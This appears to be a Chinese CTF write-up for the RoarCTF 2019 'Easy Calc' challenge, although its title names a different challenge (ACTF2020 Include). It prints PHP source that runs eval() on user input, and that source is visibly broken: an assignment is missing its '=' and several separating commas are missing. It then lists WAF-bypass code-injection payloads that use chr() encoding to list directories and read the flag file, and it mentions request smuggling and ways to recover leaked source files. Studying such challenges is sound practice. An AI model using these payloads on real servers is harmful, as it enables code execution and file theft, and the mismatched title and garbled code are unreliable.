发布于 

BUUCTF 【ACTF2020 新生赛】 Include

题目:https://buuoj.cn/challenges#[RoarCTF 2019]Easy Calc

0x00 题解

image.png

查看源代码
获得两点信息

  • 1.网站使用了waf,需要绕过
  • 2.答案在calc.php文件下

0x01 解题

分析clac.php获取信息

<?php   
# 关闭了错误报告。
error_reporting(0);
if(!isset($_GET['num'])){    
    show_source(__FILE__);   
}else{
# 将num的值存在str
$str $_GET['num'];        
# 黑名单为 空格,制表、换行、单引号、双引号、以及特殊符号
$blacklist = [' ''\t''\r''\n','\'''"''`''[''\]','\$','\\','\^'];      
# 遍历黑名单信息 
foreach ($blacklist as $blackitem) { 
    # 遍历黑名单信息如果出现匹配的就会返回
    if (preg_match('/' . $blackitem '/m'$str)) {            die("what are you want to do?");         
        }
    } 
    # 该函数在php中会执行恶意代码,不安全
    eval('echo '.$str.';');   
}   
?>

结:通过分析源码获取信息 - 代码执行绕过,前面源码也说了有WAF,这里绕过WAF两种方法

  • num前添加%20绕过对num的检测
  • HTTP走私之重复Content-Length绕过

首先看下phpinfo(),禁用了一大堆函数
image.png

接着使用scandir()函数+chr()函数绕过代码执行

/calc.php?%20num=var_dump(scandir(chr(47)))

或者使用glob()函数

/calc.php?%20num=var_dump(glob(chr(47).chr(42)))

然后在根目录发现 f1agg()
image.png

最后利用file_get_contents()进行读取
/calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

或者其他花式文件读取操作

/calc.php?%20num=show_source(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
/calc.php?%20num=print_r(php_strip_whitespace(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
/calc.php?%20num=readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
/calc.php?%20num=var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
/calc.php?%20num=include(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

获取flag

  • flag{6bd67ba9-db73-45c7-b2f3-d36862d39f8f}
HTTP走私之Content-Length重复绕过WAF

image.png

0x03 QA

Q:如何获取后端源码?
a: 可以查看文件如下

  • robots.txt(搜索引擎的爬虫)
  • Comment(注释)
  • vim swap/backup file(.bak/.php./.php~/.php.swp)
  • .pyc
  • .DS_Store (可恢复)
  • .git(githack.py)
  • .SVN
  • bak file(tar.gz/.rar/.zip/.7z),index.php~